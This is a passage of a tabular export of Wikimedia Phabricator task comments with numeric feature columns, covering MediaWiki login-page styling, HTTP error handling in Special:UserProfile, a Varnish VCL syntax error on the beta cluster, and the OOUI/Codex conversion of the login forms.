+",,,1425579577,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+421299,Hide account benefits in Minerva version of login page,">>! In T87257#1001090, @gerritbot wrote:
+> Change 185565 merged by jenkins-bot:
+> Alpha login form tweaks
+> 
+> [[https://gerrit.wikimedia.org/r/185565]]
+
+Did this affect only alpha, or also stable (and in particular it.wiki)?",,,1425546726,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1
+404404,Hide account benefits in Minerva version of login page,"Change 185565 merged by jenkins-bot:
+Alpha login form tweaks
+
+[[https://gerrit.wikimedia.org/r/185565]]",,,1422554368,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+401760,Hide account benefits in Minerva version of login page,"Change 185565 had a related patch set uploaded (by Jdlrobson):
+Alpha login form tweaks
+
+[[https://gerrit.wikimedia.org/r/185565]]
+
+#patch-for-review",,,1421782884,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+86007,Special:UserProfile should not use wfHttpError() for missing user parameters,"wfHttpError() is meant for simple server responses to calls from non-user facing entry points (e.g. `thumb.php`).
+
+It circumvents OutputPage and Skin and leaves the user unable to navigate elsewhere. As general rule of thumb, any url reachable by a regular page link (or any page generated by OutputPage/Skin) should result in response powered by OutputPage. Not cut short by `wfHttpError`.
+
+Should probably output a page querying the user for input. Similar to Special:FilePath, Special:CategoryTree, Special:CentralAuth, Special:JavaScriptTest, etc. do when accessed without parameters.
+
+Alternatively, if you don't want to create any such landing page or form, at least output the the current error message wrapped in a Special page using a simple `class=errorbox` element.
+
+{F37183}",Needs Triage,90.0,1420642979,1423084329.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_description,resolved,True,c3,1,True,False,True,-26,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+406811,Special:UserProfile should not use wfHttpError() for missing user parameters,"Change 188602 merged by jenkins-bot:
+SpecialUserProfile: Return Status code 404 when no user found
+
+[[https://gerrit.wikimedia.org/r/188602]]",,,1423084188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+406806,Special:UserProfile should not use wfHttpError() for missing user parameters,Hey @Krinkle I was merely hoping for some kind of php doc link to the relevant function. I don't like to assume volunteers know how to do this sort of thing so any guidance no matter how trivial it seems can help someone get their first commit in but looks like @Florian has made this unnecessary :),,,1423083418,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+406742,Special:UserProfile should not use wfHttpError() for missing user parameters,"Change 188602 had a related patch set uploaded (by Florianschmidtwelzow):
+SpecialUserProfile: Return Status code 404 when no user found
+
+[[https://gerrit.wikimedia.org/r/188602]]
+
+#patch-for-review",,,1423076627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+406739,Special:UserProfile should not use wfHttpError() for missing user parameters,"@Jdlrobson I'm not sure what kind of documentation you're looking for. Output a page like any other and set the desired status code (if other than 200, which is PHP's default). There's no special error class for it. It's part of how OutputPage and Skin work. Just like setting page title, setting robot policy, setting canonical url, etc. one can also set status code.",,,1423076286,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+406737,Special:UserProfile should not use wfHttpError() for missing user parameters,"thanks for clarification @krinkle - is there any page documented how to do a 404 / 400 with correct styling. Special:UserProfile without parameters should never be linked to from anywhere and should not come up in search engines.
+",,,1423076057,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0
+406735,Special:UserProfile should not use wfHttpError() for missing user parameters,"@Jdlrobson It is the status quo because outputting unstyled errors is not up to our standards. It lacks user experience (no navigation options, other than browser Back). Any user-accessible page ought to rendered with our visual identity.
+
+We don't show error pages with HTTP 200. If some cases do, that's a bug. Using OutputPage/Skin or not has no relation to the http status code:
+
+* HTTP 400 https://en.wikipedia.org/wiki/!%3Cinvalid
+* HTTP 404 https://en.wikipedia.org/wiki/!krinkle
+* HTTP 404 https://en.wikipedia.org/w/index.php?title=!krinkle&action=raw
+* HTTP 404 https://en.wikipedia.org/wiki/Special:Version/License/NotExist
+* HTTP 429 (throttled action)
+* HTTP 500 (sql error or uncaught exception)",,,1423075690,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+406649,Special:UserProfile should not use wfHttpError() for missing user parameters,"@Krinkle out of interest why is this the status quo? It seems like this would effect SEO and be cached on the local browser.
+Why do we show error pages with a 200 instead of 404? Is this documented somewhere?
+",,,1423064485,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,0,0,0,0
+85993,"Beta cluster text and mobile varnishes fails loading VCL  (invalid syntax: req.http.X-Wikimedia-Debug = ""1"")","The patch ""varnish: Route requests with 'X-Wikimedia-Debug=1' to test_wikipedia backend"" https://gerrit.wikimedia.org/r/#/c/183171/ has been applied on beta cluster but has some syntax errors preventing the VCL from loading:
+
+    deployment-cache-mobile03:
+    
+    Expected ')' got '='
+    (program line 73), at
+    ('mobile-frontend.inc.vcl' Line 102 Pos 40)
+            if (req.http.X-Wikimedia-Debug = ""1"") {
+    ---------------------------------------#-------
+    
+    deployment-cache-text02:
+    
+    Expected ')' got '='
+    (program line 73), at
+    ('text-backend.inc.vcl' Line 20 Pos 40)
+            if (req.http.X-Wikimedia-Debug = ""1"") {
+    ---------------------------------------#-------
+
+I have removed the patch from the puppetmaster.
+",Needs Triage,90.0,1420624618,1420625186.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-nghdbkgyfwnwnjejdd6a,task_description,invalid,True,c3,1,True,True,True,-26,True,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+396083,"Beta cluster text and mobile varnishes fails loading VCL  (invalid syntax: req.http.X-Wikimedia-Debug = ""1"")","I have filled this task fearing the fault landed in operations/puppet and hence in production.  It is just a WIP / faulty patch that have been applied on beta cluster.
+
+The patch is being reviewed / tweaked in Gerrit so lets follow up on https://gerrit.wikimedia.org/r/#/c/183171/ 
+
+",,,1420625186,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nghdbkgyfwnwnjejdd6a,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+85853,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Let's convert MW core login/create account templates to Codex. Splitting this off from T74715. Let's do this after T12317 is fixed.
+
+Open issues (Feb 2019):
+[x] Error message not properly styled clear enough T145674
+[] Captcha's misaligned, especially on mobile
+[] Labels added on mobile 
+[] Required indicators probably better off hidden on this specific forms",Needs Triage,90.0,1420491118,1714820892.0,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-bmkk5pxosfta5sjid6hl,task_description,resolved,True,c3,1,True,True,False,-26,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+2328758,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),This was done last year in <https://gerrit.wikimedia.org/r/c/mediawiki/core/+/919361>.,,,1714820892,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,461,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1910435,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 284902 **abandoned** by Bartosz Dziewoński:
+%%%[mediawiki/core@master] LoginSignupSpecialPage: Convert form to OOUI%%%
+Reason:
+%%%This has diverged too far, the work will probably need to be redone. The last few comments have advice on what else is missing.%%%
+https://gerrit.wikimedia.org/r/284902",,,1651696627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,356,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+1394947,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 284902 had a related patch set uploaded (by VolkerE; owner: Bartosz Dziewoński):
+[mediawiki/core@master] LoginSignupSpecialPage: Convert form to OOUI
+
+[[https://gerrit.wikimedia.org/r/284902]]",,,1574136900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,228,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1229741,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Time for picking this up again. 
+Due to the amount of work and different patches and comments it's harder to gather overview of what remains, therefore added open points on first look to the description.",,,1550732944,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,190,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0
+1062073,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),This is the last remaining use of `$wgUseMediaWikiUIEverywhere` other than in MobileFrontend. Let's try to get it done.,,,1525361339,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,148,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+734246,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),Another related UI task is {T146551},,,1474749880,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+734245,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),Another related UI task is T146551,,,1474749866,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+720386,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Text fields just don't look nice in OOUI:
+
+| **vform** | **ooui**
+| {F4418006} |{F4418008}
+
+* there is more distance between the label and the field, so they don't form an obvious unit, the form is hard to parse
+* the placeholder text is way too aggressive, barely different from the label. Again, hard to scan.",,,1472604940,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,60,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+711075,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"OOUI error messages seem awkward to me, even apart from the issue fixed in T142639: there is just no visual sign I would recognize as error (such as red color or background). I feels closer to the explanatory text created with the 'help' keys on VForm.
+{F4358823} ",,,1471063518,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,58,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,1,0,0
+702329,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"For the record: Mobile does some styling on the current vform-based login form, so the direct comparsion looks more scaried as it should, simply because the styles doesn't apply to mostly all of the OOUI form elements. fixing this should probably result in a more accurate form :)",,,1469745255,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,56,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+701342,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),@Tgr Thanks for these comparisons. Very helpful!,,,1469628737,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,55,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+701150,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Also, mobile:
+vform: {F4311185}
+ooui: {F4311187}
+vform, tablet: {F4311189}
+ooui, tablet: {F4311192}",,,1469603698,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,55,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+701098,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Re: the current version of https://gerrit.wikimedia.org/r/#/c/284902/:
+* messages don't look too good with OOUI IMO:
+vform: {F4310815}
+ooui: {F4310817}
+* help texts are not handled properly:
+vform: {F4310825}
+ooui: {F4310827}
+* ConfirmEdit looks broken, partly because it is hand-tailored to the old sizes, but some text does not appear at all:
+vform: {F4310820}
+ooui: {F4310822}
+",,,1469587708,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,55,True,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+680768,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Regarding the field requirement determination, AuthManager does give you some field cross-requirement information. For example, enwiki as a logged-in user right now tells me (among other things):
+* ""MediaWiki\Auth\UsernameAuthenticationRequest"" is required. It has one required field, ""username"".
+* ""MediaWiki\Auth\PasswordAuthenticationRequest"" is primary-required. It has three required fields, ""username"", ""password"", and ""retype"".
+* ""MediaWiki\Auth\TemporaryPasswordAuthenticationRequest"" is primary-required. It has one required field, ""mailpassword"" (a checkbox).
+
+So from this you could deduce that a ""username"" field is always required, and you have to specify either ""mailpassword"" or both ""password"" and ""retype"". Actually making use of this information generically (instead of hard-coding that checking ""mailpassword"" hides ""password"" and ""retype"") seems like a difficult problem, though.
+
+My local testing wiki is even more complicated, since I've recently been reviewing https://gerrit.wikimedia.org/r/#/c/289099/:
+* ""MediaWiki\Auth\UsernameAuthenticationRequest"" is required. It has one required field, ""username"".
+* ""MediaWiki\Auth\PasswordAuthenticationRequest"" is primary-required. It has three required fields, ""username"", ""password"", and ""retype"".
+* ""MediaWiki\Auth\TemporaryPasswordAuthenticationRequest"" is primary-required. It has one required field, ""mailpassword"" (a checkbox).
+* ""GoogleLogin\Auth\GoogleAuthenticationRequest:googlelogin"" is primary-required. It has one required field, ""googlelogin"" (a submit button).
+
+Again, you could deduce that a ""username"" field is always required, and you have to specify either ""mailpassword"", or both ""password"" and ""retype"", or click the ""googlelogin"" button instead of the usual submit button.",,,1466102954,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,50,True,1,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1
+670967,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 291727 merged by jenkins-bot:
+Fix required field calculation in AuthenticationRequest
+
+[[https://gerrit.wikimedia.org/r/291727]]",,,1464613159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+670958,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 291727 had a related patch set uploaded (by Gergő Tisza):
+Fix required field calculation in AuthenticationRequest
+
+[[https://gerrit.wikimedia.org/r/291727]]
+",,,1464612359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+670946,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 291678 merged by jenkins-bot:
+Fix required field calculation in AuthenticationRequest
+
+[[https://gerrit.wikimedia.org/r/291678]]",,,1464610952,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+670786,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 291678 had a related patch set uploaded (by Gergő Tisza):
+Fix required field calculation in AuthenticationRequest
+
+[[https://gerrit.wikimedia.org/r/291678]]
+",,,1464558068,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+668117,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2299095, @matmarex wrote:
+> AuthManager is merged and no longer a blocker, woo!
+> 
+> @Volker_E Would you be able/willing to take over https://gerrit.wikimedia.org/r/#/c/284902/ and finish it? (Get rid of all the CSS rules that no longer apply, and add new ones to make the forms pretty.)
+
+Yes, I will. :) It's not my highest priority right now, but will do try to get it further in the next couple of weeks.
+",,,1464156161,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,46,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,1,0,0,1,1,1
+663547,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2299095, @matmarex wrote:
